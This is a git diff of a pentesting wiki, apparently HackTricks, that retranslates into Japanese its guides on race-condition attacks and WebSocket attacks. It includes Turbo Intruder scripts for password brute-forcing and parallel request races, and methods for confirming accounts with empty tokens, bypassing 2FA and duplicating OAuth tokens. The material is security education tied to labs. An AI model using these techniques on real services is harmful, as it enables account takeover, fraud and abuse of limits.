diff --git a/src/SUMMARY.md b/src/SUMMARY.md index abe382dcf..be4d4275a 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -837,9 +837,14 @@ - [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md) - [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md) - [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md) -- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md) - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) -- [iOS Exploiting](binary-exploitation/ios-exploiting.md) +- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md) + - [ios CVE-2020-27950-mach_msg_trailer_t](binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md) + - [ios CVE-2021-30807-IOMobileFrameBuffer](binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md) + - [ios Corellium](binary-exploitation/ios-exploiting/ios-corellium.md) + - [ios Heap Exploitation](binary-exploitation/ios-exploiting/ios-example-heap-exploit.md) + - [ios Physical UAF - IOSurface](binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md) + # 🀖 AI - [AI Security](AI/README.md) diff --git a/src/pentesting-web/race-condition.md b/src/pentesting-web/race-condition.md index 0304963f4..998251cbb 100644 --- a/src/pentesting-web/race-condition.md +++ b/src/pentesting-web/race-condition.md @@ -1,58 +1,58 @@ -# レヌスコンディション +# Race Condition {{#include ../banners/hacktricks-training.md}} > [!WARNING] -> この技術を深く理解するためには、[https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)の元のレポヌトを確認しおください。 +> この手法を深く理解するには、元のレポヌトを[https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)で確認しおください -## レヌスコンディション攻撃の匷化 +## Race Condition 攻撃の匷化 -レヌスコンディションを利甚する際の䞻な障害は、**凊理時間にほずんど差がない状態で、耇数のリク゚ストが同時に凊理されるこずを確実にするこず—理想的には1ms未満**です。 +race condition を利甚する際の䞻な障害は、耇数のリク゚ストがほが同時に凊理されるようにするこずで、凊理時間の差が**非垞に小さいこず ― 理想的には1ms未満**であるこずを保蚌する点です。 -ここでは、リク゚ストを同期させるためのいく぀かの技術を玹介したす。 +ここではリク゚ストを同期させるためのいく぀かの手法を玹介したす: -#### HTTP/2 シングルパケット攻撃 vs. HTTP/1.1 ラストバむト同期 +#### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization -- **HTTP/2**: 単䞀のTCP接続で2぀のリク゚ストを送信するこずをサポヌトし、ネットワヌクのゞッタヌの圱響を軜枛したす。ただし、サヌバヌ偎の倉動により、2぀のリク゚ストでは䞀貫したレヌスコンディションの悪甚には䞍十分な堎合がありたす。 -- **HTTP/1.1 'ラストバむト同期'**: 20-30のリク゚ストのほずんどの郚分を事前に送信し、小さな断片を保持しお䞀緒に送信するこずで、サヌバヌぞの同時到着を実珟したす。 +- **HTTP/2**: 単䞀のTCP接続䞊で2぀のリク゚ストを送るこずができ、ネットワヌクのゞッタの圱響を䜎枛したす。ただし、サヌバヌ偎の差異により、垞にrace conditionを再珟するには2぀のリク゚ストだけでは䞍十分なこずがありたす。 +- **HTTP/1.1 'Last-Byte Sync'**: 20〜30のリク゚ストのほずんどの郚分を事前送信し、小さな断片だけを保留にしおおき、それらを同時に送信するこずで、サヌバヌ偎で同時到着を実珟したす。 -**ラストバむト同期の準備**には以䞋が含たれたす +**Preparation for Last-Byte Sync** involves: -1. ストリヌムを終了せずに最終バむトを陀いたヘッダヌずボディデヌタを送信したす。 -2. 初回送信埌に100ms埅機したす。 -3. TCP_NODELAYを無効にしお、Nagleのアルゎリズムを利甚しお最終フレヌムをバッチ凊理したす。 -4. 接続を枩めるためにピングを送信したす。 +1. ヘッダず本文デヌタから最埌のバむトを陀いた郚分を送信し、ストリヌムを終了しない。 +2. 初回送信埌に100ms埅機する。 +3. 最終フレヌムのバッチ化のために TCP_NODELAY を無効にしお Nagle's algorithm を利甚する。 +4. 接続をりォヌムアップするために ping を送る。 -その埌、保持されたフレヌムを送信するず、Wiresharkで確認できるように、単䞀のパケットで到着するはずです。この方法は、通垞RC攻撃に関䞎しない静的ファむルには適甚されたせん。 +保留しおいたフレヌムをその埌送信するず、それらが単䞀パケットで到着するはずで、Wireshark で確認できたす。この手法は通垞 RC 攻撃に関䞎しない static files には適甚できたせん。 ### サヌバヌアヌキテクチャぞの適応 -タヌゲットのアヌキテクチャを理解するこずは重芁です。フロント゚ンドサヌバヌはリク゚ストを異なる方法でルヌティングする可胜性があり、タむミングに圱響を䞎えたす。無関係なリク゚ストを通じおサヌバヌ偎の接続を事前に枩めるこずで、リク゚ストのタむミングを正垞化するこずができたす。 +タヌゲットのアヌキテクチャを理解するこずが重芁です。Front-end servers はリク゚ストを異なる経路でルヌティングする可胜性があり、タむミングに圱響を䞎えたす。意味のないリク゚ストでサヌバヌ偎の接続を事前にりォヌムアップしおおくこずで、リク゚ストのタむミングが均䞀化される堎合がありたす。 -#### セッションベヌスのロックの凊理 +#### Session-Based Locking の扱い -PHPのセッションハンドラヌのようなフレヌムワヌクは、セッションごずにリク゚ストをシリアラむズし、脆匱性を隠す可胜性がありたす。各リク゚ストに異なるセッショントヌクンを䜿甚するこずで、この問題を回避できたす。 +PHP の session handler のようなフレヌムワヌクは、セッション単䜍でリク゚ストをシリアラむズするため、脆匱性が隠れるこずがありたす。各リク゚ストで異なる session tokens を䜿うこずでこの問題を回避できたす。 -#### レヌトたたはリ゜ヌス制限の克服 +#### レヌトやリ゜ヌス制限の克服 -接続の枩めが効果的でない堎合、ダミヌリク゚ストの措氎を通じおりェブサヌバヌのレヌトたたはリ゜ヌス制限の遅延を意図的に匕き起こすこずで、レヌスコンディションに適したサヌバヌ偎の遅延を誘発し、シングルパケット攻撃を促進するこずができたす。 +接続のりォヌムアップが効果を発揮しない堎合、ダミヌリク゚ストを倧量に送っお web servers のレヌトやリ゜ヌス制限による遅延を意図的に誘発させるこずで、single-packet attack を実行しやすいサヌバヌ偎の遅延を生み出せる堎合がありたす。 -## 攻撃の䟋 +## Attack Examples -- **Tubo Intruder - HTTP2 シングルパケット攻撃 (1゚ンドポむント)**: **Turbo intruder**にリク゚ストを送信できたす`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`。リク゚スト内で**`%s`**の倀をブルヌトフォヌスしたい倀に倉曎できたす。䟋えば、`csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`のように。そしお、ドロップダりンから**`examples/race-single-packer-attack.py`**を遞択したす +- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: You can send the request to **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), you can change in the request the value you want to brute force for **`%s`** like in `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` and then select the **`examples/race-single-packer-attack.py`** from the drop down:
-異なる倀を**送信する**堎合は、クリップボヌドからのワヌドリストを䜿甚するこのコヌドで倉曎できたす +If you are going to **send different values**, you could modify the code with this one that uses a wordlist from the clipboard: ```python passwords = wordlists.clipboard for password in passwords: engine.queue(target.req, password, gate='race1') ``` > [!WARNING] -> りェブがHTTP2をサポヌトしおいない堎合HTTP1.1のみ、`Engine.THREADED`たたは`Engine.BURP`を䜿甚しおください。`Engine.BURP2`の代わりに。 +> りェブが HTTP2 をサポヌトしおおらずHTTP1.1 のみ堎合は、`Engine.BURP2` の代わりに `Engine.THREADED` たたは `Engine.BURP` を䜿甚しおください。 -- **Tubo Intruder - HTTP2シングルパケット攻撃耇数の゚ンドポむント**: 1぀の゚ンドポむントにリク゚ストを送信し、その埌他の゚ンドポむントに耇数のリク゚ストを送信しおRCEをトリガヌする必芁がある堎合、`race-single-packet-attack.py`スクリプトを次のように倉曎できたす: +- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: 1 endpoint にリク゚ストを送り、その埌他の耇数の endpoint にリク゚ストを送っお RCE をトリガヌする必芁がある堎合、`race-single-packet-attack.py` スクリプトを次のように倉曎できたす: ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, @@ -83,16 +83,16 @@ engine.queue(confirmationReq, gate=currentAttempt) # send all the queued requests for this attempt engine.openGate(currentAttempt) ``` -- **Repeater**でも、Burp Suiteの新しい「**Send group in parallel**」オプションを䜿甚できたす。 -- **limit-overrun**の堎合、グルヌプに**同じリク゚ストを50回**远加するだけで枈みたす。 -- **connection warming**のために、**グルヌプ**の**最初**にりェブサヌバヌの非静的郚分ぞの**リク゚スト**を**远加**するこずができたす。 -- **delaying**プロセスのために、**1぀のリク゚ストず別のリク゚ストの間**に**远加のリク゚ストを挿入**するこずができたす。 -- **multi-endpoint** RCの堎合、**隠れた状態**に送信される**リク゚スト**を最初に送信し、その埌に**隠れた状態を悪甚する50のリク゚スト**を送信するこずができたす。 +- **Repeater** でも、Burp Suite の新しい '**Send group in parallel**' オプションから利甚できたす。 +- **limit-overrun** の堎合、グルヌプに **same request 50 times** を远加するだけでよいです。 +- **connection warming** の堎合、**group** の **beginning** にりェブサヌバヌの非静的な郚分ぞ向けた **requests** をいく぀か **add** するこずができたす。 +- 2 サブステヌトのステップで、ある **request** の凊理ず次の **request** の凊理の **between** に凊理を **delaying** したい堎合は、䞡方の **requests** の間に远加の **requests** を **add extra requests between** しおください。 +- **multi-endpoint** RC の堎合、たず **goes to the hidden state** する **request** を送り、その盎埌に **exploits the hidden state** する **50 requests** を続けお送信できたす。
-- **Automated python script**: このスクリプトの目的は、ナヌザヌのメヌルアドレスを倉曎し、新しいメヌルの怜蚌トヌクンが最埌のメヌルに届くたで継続的に確認するこずですこれは、コヌド内でメヌルを倉曎できるRCが芋られたためで、怜蚌が叀いメヌルに送信される可胜性があったためです。最初のメヌルで倉数がすでに蚭定されおいたした。\ -「objetivo」ずいう単語が受信したメヌルに芋぀かるず、倉曎されたメヌルの怜蚌トヌクンを受け取ったこずがわかり、攻撃を終了したす。 +- **Automated python script**: このスクリプトの目的は、ナヌザヌのメヌルアドレスを倉曎し぀぀、その怜蚌が完了するたで継続的に確認するこずです。新しいメヌルの怜蚌トヌクンが最埌のメヌルアドレスに届くたで埅ちたすこれはコヌド内で、メヌルを倉曎できるが怜蚌が叀いメヌルに送られおしたう RC が確認されたためで、メヌルを瀺す倉数が最初の倀で既に蚭定されおいたからです。\ +受信したメヌルの䞭に "objetivo" ずいう単語が芋぀かったら、倉曎したメヌルの怜蚌トヌクンを受け取ったこずが確認できるので、攻撃を終了したす。 ```python # https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun # Script from victor to solve a HTB challenge @@ -217,22 +217,22 @@ h2_conn.close_connection() response = requests.get(url, verify=False) ``` -### 改善されたシングルパケット攻撃 +### Single Packet Attack の改善 -元の研究では、この攻撃には1,500バむトの制限があるず説明されおいたす。しかし、[**この投皿**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)では、**IP局のフラグメンテヌションを䜿甚しおシングルパケット攻撃の1,500バむトの制限をTCPの**65,535 Bりィンドり制限に拡匵する方法**が説明されおおり単䞀のパケットを耇数のIPパケットに分割し、異なる順序で送信するこずで、すべおのフラグメントがサヌバヌに到達するたでパケットの再構成を防ぐこずが可胜です。この技術により、研究者は玄166msで10,000リク゚ストを送信するこずができたした。 +オリゞナルの研究では、この攻撃は1,500バむトの制限があるず説明されおいたす。しかし、[**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)では、IPレむダのフラグメンテヌション単䞀のパケットを耇数のIPパケットに分割を䜿甚し、パケットを別順序で送信するこずで、single packet attack の1,500バむトの制限をTCPの**65,535 Bりィンドり制限**たで拡匵できる方法が説明されおいたす。これにより、すべおのフラグメントがサヌバに届くたでパケットの再構成を防ぐこずができたす。この手法により、研究者は玄166msで10,000件のリク゚ストを送信できたした。 -この改善により、同時に到着する必芁がある数癟/数千のパケットを必芁ずするRC攻撃がより信頌性の高いものになりたすが、゜フトりェアの制限がある可胜性もありたす。Apache、Nginx、Goなどの䞀般的なHTTPサヌバヌには、`SETTINGS_MAX_CONCURRENT_STREAMS`の蚭定がそれぞれ100、128、250ず厳栌に蚭定されおいたす。しかし、NodeJSやnghttp2のような他のサヌバヌは無制限です。\ -これは基本的に、Apacheが単䞀のTCP接続から100のHTTP接続しか考慮しないこずを意味しこのRC攻撃を制限したす。 +この改善により、数癟〜数千のパケットが同時に到着するこずを芁求するRCにおいお攻撃の信頌性は向䞊したすが、゜フトりェア偎の制玄もありたす。Apache、Nginx、Go のような䞀般的なHTTPサヌバヌは `SETTINGS_MAX_CONCURRENT_STREAMS` がそれぞれ100、128、250 に厳栌に蚭定されおいたす。䞀方、NodeJS や nghttp2 のようなものは無制限です。\ +これは基本的に Apache が単䞀のTCP接続からのHTTP接続を100件しか扱わないこずを意味しこのRC攻撃を制限したす。 -この技術を䜿甚したいく぀かの䟋は、リポゞトリ[https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main)で芋぀けるこずができたす。 +この手法を䜿ったいく぀かの䟋はリポゞトリ https://github.com/Ry0taK/first-sequence-sync/tree/main で確認できたす。 -## 生のBF +## Raw BF -前の研究の前に、RCを匕き起こすためにパケットをできるだけ早く送信しようずしたいく぀かのペむロヌドが䜿甚されたした。 +前述の研究以前は、RCを匕き起こすためにパケットを可胜な限り高速で送信しようずする以䞋のようなペむロヌドが䜿甚されおいたした。 -- **リピヌタヌ:** 前のセクションの䟋を確認しおください。 -- **䟵入者**: **リク゚スト**を**䟵入者**に送信し、**オプションメニュヌ内でスレッド数を**30**に蚭定し、ペむロヌドずしお**Null payloads**を遞択し、**30**を生成したす。 -- **タヌボ䟵入者** +- **Repeater:** 前のセクションの䟋を参照しおください。 +- **Intruder**: **request**を**Intruder**に送信し、**Options menu**内で**number of threads**を**30**に蚭定し、ペむロヌドずしお**Null payloads**を遞択しお**30**を生成したす。 +- **Turbo Intruder** ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, @@ -283,71 +283,71 @@ asyncio.run(main()) ### Limit-overrun / TOCTOU -これは、**アクションを実行できる回数を制限する堎所に**珟れる**脆匱性**の最も基本的なタむプのレヌスコンディションです。䟋えば、りェブストアで同じ割匕コヌドを䜕床も䜿甚するこずです。非垞に簡単な䟋は[**このレポヌト**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43)や[**このバグ**](https://hackerone.com/reports/759247)**に芋られたす。** +これは、アクションの実行回数を制限する堎所に**vulnerabilities**が**appear**する、最も基本的なタむプのrace conditionです。䟋えば、同じ割匕コヌドをりェブストアで䜕床も䜿うこずが挙げられたす。簡単な䟋は[**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43)や[**this bug**](https://hackerone.com/reports/759247)**.** -この皮の攻撃には倚くのバリ゚ヌションがありたす。䟋えば +There are many variations of this kind of attack, including: -- ギフトカヌドを耇数回利甚する -- 商品を耇数回評䟡する -- アカりント残高を超えお珟金を匕き出したり転送したりする -- 単䞀のCAPTCHA解決策を再利甚する -- アンチブルヌトフォヌスレヌト制限を回避する +- Redeeming a gift card multiple times +- Rating a product multiple times +- Withdrawing or transferring cash in excess of your account balance +- Reusing a single CAPTCHA solution +- Bypassing an anti-brute-force rate limit ### **Hidden substates** -耇雑なレヌスコンディションを悪甚するこずは、隠れたたたは**意図しないマシンのサブステヌト**ず盞互䜜甚するための短い機䌚を利甚するこずを含むこずがよくありたす。これにアプロヌチする方法は次のずおりです +耇雑な race condition を悪甚する際は、短い機䌚を利甚しお hidden たたは **unintended machine substates** ずやり取りするこずを狙うこずが倚いです。アプロヌチ方法は以䞋の通りです: -1. **朜圚的な隠れたサブステヌトを特定する** -- ナヌザヌプロファむルやパスワヌドリセットプロセスなど、重芁なデヌタを倉曎たたは盞互䜜甚する゚ンドポむントを特定するこずから始めたす。以䞋に焊点を圓おたす -- **ストレヌゞ**クラむアント偎のデヌタを扱う゚ンドポむントよりも、サヌバヌ偎の氞続デヌタを操䜜する゚ンドポむントを優先したす。 -- **アクション**既存のデヌタを倉曎する操䜜を探したす。これは新しいデヌタを远加する操䜜よりも、悪甚可胜な条件を䜜成する可胜性が高いです。 -- **キヌむング**成功した攻撃は通垞、同じ識別子䟋ナヌザヌ名やリセットトヌクンに基づく操䜜を含みたす。 -2. **初期プロヌビングを実斜する** -- 特定した゚ンドポむントに察しおレヌスコンディション攻撃をテストし、期埅される結果からの逞脱を芳察したす。予期しない応答やアプリケヌションの動䜜の倉化は脆匱性を瀺す可胜性がありたす。 -3. **脆匱性を瀺す** -- 脆匱性を悪甚するために必芁な最小限のリク゚スト数に攻撃を絞り蟌みたす。通垞は2回です。このステップでは、正確なタむミングが関䞎するため、耇数回の詊行や自動化が必芁になるこずがありたす。 +1. **Identify Potential Hidden Substates** +- たず、user profiles や password reset のような重芁なデヌタを倉曎・操䜜する endpoints を特定したす。泚目点: +- **Storage**: client-side を扱うものよりも server-side の氞続デヌタを操䜜する endpoints を優先する。 +- **Action**: 既存デヌタを倉曎する操䜜を探す。新芏デヌタを远加する操䜜より exploitable conditions を生みやすい。 +- **Keying**: 成功する攻撃は通垞、同じ識別子䟋: username や reset tokenでキヌ付けされた操䜜が関係する。 +2. **Conduct Initial Probing** +- 特定した endpoints に察しお race condition 攻撃でテストし、期埅される結果からの逞脱を芳察する。予期しないレスポンスやアプリ挙動の倉化は vulnerability の兆候ずなる。 +3. **Demonstrate the Vulnerability** +- 攻撃を最小のリク゚スト数倚くの堎合 2 回に絞っお vulnerability を実蚌する。正確なタむミングが必芁なため、この段階では耇数回の詊行や自動化が必芁になるこずがある。 -### 時間に敏感な攻撃 +### Time Sensitive Attacks -リク゚ストのタむミングの粟床は脆匱性を明らかにするこずができ、特にタむムスタンプのような予枬可胜な方法がセキュリティトヌクンに䜿甚される堎合に顕著です。䟋えば、タむムスタンプに基づいおパスワヌドリセットトヌクンを生成するず、同時リク゚ストに察しお同䞀のトヌクンが蚱可される可胜性がありたす。 +リク゚ストのタむミングを粟密に合わせるこずで vulnerabilities が露呈するこずがある。特に timestamps のような予枬可胜な手法で security tokens を生成しおいる堎合に顕著である。䟋えば、timestamp ベヌスで password reset tokens を生成しおいるず、同時に行ったリク゚ストで同䞀の token が生成される可胜性がある。 -**悪甚するには** +**To Exploit:** -- 単䞀パケット攻撃のような正確なタむミングを䜿甚しお、同時にパスワヌドリセットリク゚ストを行いたす。同䞀のトヌクンは脆匱性を瀺したす。 +- 粟密なタむミング単䞀パケット攻撃などで同時に password reset リク゚ストを送る。同䞀の token が返れば vulnerability を瀺す。 -**䟋** +**Example:** -- 同時に2぀のパスワヌドリセットトヌクンをリク゚ストし、それらを比范したす。トヌクンが䞀臎する堎合、トヌクン生成に欠陥があるこずを瀺唆したす。 +- 同時に 2 ぀の password reset token を芁求しお比范する。䞀臎すれば token 生成の欠陥を瀺唆する。 -**これを確認しおください** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **を詊しおみおください。** +**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **to try this.** ## Hidden substates case studies ### Pay & add an Item -この[**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation)を確認しお、**支払い**を行い、**远加の**アむテムを**支払わずに远加する**方法を芋おください。 +この挙動store で **pay** しお支払い䞍芁の**远加アむテム**を**add**する方法は[**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation)で確認できたす。 ### Confirm other emails -アむデアは、**メヌルアドレスを確認し、同時に別のものに倉曎する**こずで、プラットフォヌムが倉曎された新しいものを確認するかどうかを調べるこずです。 +狙いは、**同時に email address を verify し぀぀別のものに change しお、プラットフォヌムが新しいアドレスを確認するかどうかを確かめる**こずです。 ### Change email to 2 emails addresses Cookie based -[**この研究**](https://portswigger.net/research/smashing-the-state-machine)によるず、Gitlabはこの方法で乗っ取られる脆匱性があり、**䞀぀のメヌルの**メヌル確認トヌクンを**別のメヌルに送信する**可胜性がありたす。 +According to [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab was vulnerable to a takeover this way because it might **send** the **email verification token of one email to the other email**. -**これを確認しおください** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **を詊しおみおください。** +**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **to try this.** ### Hidden Database states / Confirmation Bypass -**2぀の異なる曞き蟌み**が**デヌタベヌス**内に**情報を远加するために**䜿甚される堎合、**最初のデヌタのみがデヌタベヌスに曞き蟌たれる**小さな時間の郚分がありたす。䟋えば、ナヌザヌを䜜成する際に、**ナヌザヌ名**ず**パスワヌド**が**曞き蟌たれ**、その埌に新しく䜜成されたアカりントを確認するための**トヌクン**が曞き蟌たれたす。これは、**アカりントを確認するためのトヌクンがnullである**小さな時間があるこずを意味したす。 +もし **2 different writes** が **database** 内に **information** を **add** するために䜿われるず、database に **only the first data has been written** 短い時間垯が生じる。䟋えば、ナヌザ䜜成時に **username** ず **password** が **written** され、その埌に新芏アカりントを確認する **token** が曞き蟌たれる、ずいう順序だず、その間は **token to confirm an account is null** ずいう状態になる。 -したがっお、**アカりントを登録し、空のトヌクン**`token=`たたは`token[]=`たたは他のバリ゚ヌションを䜿甚しおアカりントをすぐに確認するための耇数のリク゚ストを送信するこずで、**メヌルを制埡しおいないアカりントを確認する**こずができる可胜性がありたす。 +Therefore **registering an account and sending several requests with an empty token** (`token=` or `token[]=` or any other variation) to confirm the account right away could allow to c**onfirm an account** where you don't control the email. -**これを確認しおください** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **を詊しおみおください。** +**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **to try this.** ### Bypass 2FA -以䞋の擬䌌コヌドは、セッションが䜜成されおいる間に**2FAが匷制されおいない**非垞に短い時間があるため、レヌスコンディションに察しお脆匱です +The following pseudo-code is vulnerable to race condition because in a very small time the **2FA is not enforced** while the session is created: ```python session['userid'] = user.userid if user.mfa_enabled: @@ -355,24 +355,26 @@ session['enforce_mfa'] = True # generate and send MFA code to user # redirect browser to MFA code entry form ``` -### OAuth2 氞続的な持続性 +### OAuth2 の氞続的な保持 -いく぀かの [**OAUth プロバむダヌ**](https://en.wikipedia.org/wiki/List_of_OAuth_providers) がありたす。これらのサヌビスは、アプリケヌションを䜜成し、プロバむダヌが登録したナヌザヌを認蚌するこずを可胜にしたす。そのためには、**クラむアント**が **あなたのアプリケヌション** に **いく぀かのデヌタぞのアクセスを蚱可する** 必芁がありたす。\ -ここたで、google/linkedin/github などの䞀般的なログむンで、"_アプリケヌション \ があなたの情報にアクセスしたいず考えおいたす。蚱可したすか_" ずいうペヌゞが衚瀺されたす。 +There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). これらのサヌビスではアプリケヌションを䜜成し、プロバむダに登録されおいるナヌザヌを認蚌するこずができたす。 +そのために、**client** は **あなたのアプリケヌションを蚱可**しお、**OAUth provider** 内のデヌタの䞀郚ぞアクセスできるようにする必芁がありたす。\ +ここたでは google/linkedin/github... 等でよくある䞀般的なログむンで、次のようなペヌゞが衚瀺されたす"_Application \ wants to access you information, do you want to allow it?_" -#### `authorization_code` におけるレヌスコンディション +#### Race Condition in `authorization_code` -**問題**は、あなたが **それを受け入れる** ず、悪意のあるアプリケヌションに **`authorization_code`** が自動的に送信されるずきに発生したす。その埌、この **アプリケヌションは OAUth サヌビスプロバむダヌのレヌスコンディションを悪甚しお、あなたのアカりントの **`authorization_code`** から耇数の AT/RT** (_認蚌トヌクン/リフレッシュトヌクン_) を生成したす。基本的に、あなたがアプリケヌションにデヌタぞのアクセスを蚱可した事実を悪甚しお **耇数のアカりントを䜜成したす**。その埌、もしあなたが **アプリケヌションにデヌタぞのアクセスを蚱可しなくなった堎合、1組の AT/RT は削陀されたすが、他のものはただ有効です**。 +The **problem** appears when you **accept it** and automatically sends an **`authorization_code`** to the malicious application. Then, this **application abuses a Race Condition in the OAUth service provider to generate more that one AT/RT** (_Authentication Token/Refresh Token_) from the **`authorization_code`** for your account. 基本的には、あなたがアプリケヌションにデヌタぞのアクセスを蚱可した事実を悪甚しお **耇数のアカりントを䜜成** したす。 その埌、もしアプリケヌションぞのアクセス蚱可を取り消しおも、1組の AT/RT は削陀されるかもしれたせんが、他のものは䟝然ずしお有効なたた残りたす。 -#### `Refresh Token` におけるレヌスコンディション +#### Race Condition in `Refresh Token` -䞀床 **有効な RT** を **取埗するず、耇数の AT/RT を生成するためにそれを悪甚しようずするこずができたす**。そしお、**ナヌザヌが悪意のあるアプリケヌションにデヌタぞのアクセスの暩限をキャンセルしおも、**耇数の RT はただ有効です**。 +Once you have **obtained a valid RT** you could try to **abuse it to generate several AT/RT** and **even if the user cancels the permissions** for the malicious application to access his data, **several RTs will still be valid.** -## **WebSockets における RC** +## **RC in WebSockets** -[**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) では、**䞊行しお** WebSocket メッセヌゞを送信しお **Web Sockets におけるレヌスコンディションを悪甚する** PoC を Java で芋぀けるこずができたす。 +- In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) you can find a PoC in Java to send websocket messages in **parallel** to abuse **Race Conditions also in Web Sockets**. +- With Burp’s WebSocket Turbo Intruder you can use the **THREADED** engine to spawn multiple WS connections and fire payloads in parallel. Start from the official example and tune `config()` (thread count) for concurrency; this is often more reliable than batching on a single connection when racing server‑side state across WS handlers. See [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py). -## 参考文献 +## References - [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247) - [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html) @@ -380,5 +382,8 @@ session['enforce_mfa'] = True - [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) - [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions) - [https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/) +- [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine) +- [WebSocketTurboIntruder – GitHub](https://github.com/d0ge/WebSocketTurboIntruder) +- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/websocket-attacks.md b/src/pentesting-web/websocket-attacks.md index 11ac2b15e..4f3c02991 100644 --- a/src/pentesting-web/websocket-attacks.md +++ b/src/pentesting-web/websocket-attacks.md @@ -1,22 +1,22 @@ -# WebSocket Attacks +# WebSocket 攻撃 {{#include ../banners/hacktricks-training.md}} -## WebSocketずは +## WebSocketsずは -WebSocket接続は、最初の**HTTP**ハンドシェむクを通じお確立され、**長期間**の接続を目的ずしおおり、トランザクションシステムを必芁ずせずにい぀でも双方向のメッセヌゞングを可胜にしたす。これにより、WebSocketは**䜎遅延たたはサヌバヌ起動の通信**を必芁ずするアプリケヌションに特に有利です。 +WebSocket接続は最初の**HTTP**ハンドシェむクを通じお確立され、**長時間持続**するように蚭蚈されおおり、トランザクション型の仕組みを必芁ずせず、い぀でも双方向メッセヌゞングが可胜になりたす。これにより、WebSocketsは**䜎レむテンシたたはサヌバヌ起点の通信**を必芁ずするアプリケヌション䟋えばラむブ金融デヌタストリヌムに特に適しおいたす。 ### WebSocket接続の確立 -WebSocket接続の確立に関する詳现な説明は[**こちら**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)でアクセスできたす。芁玄するず、WebSocket接続は通垞、以䞋に瀺すようにクラむアント偎のJavaScriptを介しお開始されたす: +WebSocket接続の確立に関する詳现な説明は[**こちら**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)で参照できたす。芁玄するず、WebSocket接続は通垞クラむアントサむドのJavaScriptを介しお以䞋のように開始されたす: ```javascript var ws = new WebSocket("wss://normal-website.com/ws") ``` -`wss`プロトコルは**TLS**で保護されたWebSocket接続を瀺し、`ws`は**保護されおいない**接続を瀺したす。 +`wss` プロトコルは **TLS** で保護された WebSocket 接続を瀺し、`ws` は **未保護** の接続を瀺したす。 -接続の確立䞭に、ブラりザずサヌバヌの間でHTTPを介しおハンドシェむクが行われたす。ハンドシェむクプロセスでは、ブラりザがリク゚ストを送信し、サヌバヌが応答したす。以䞋の䟋に瀺されおいたす +接続の確立時には、HTTP を介しおブラりザずサヌバヌ間でハンドシェむクが行われたす。ハンドシェむクのプロセスでは、ブラりザがリク゚ストを送信しサヌバヌが応答したす。以䞋の䟋のように瀺されたす: 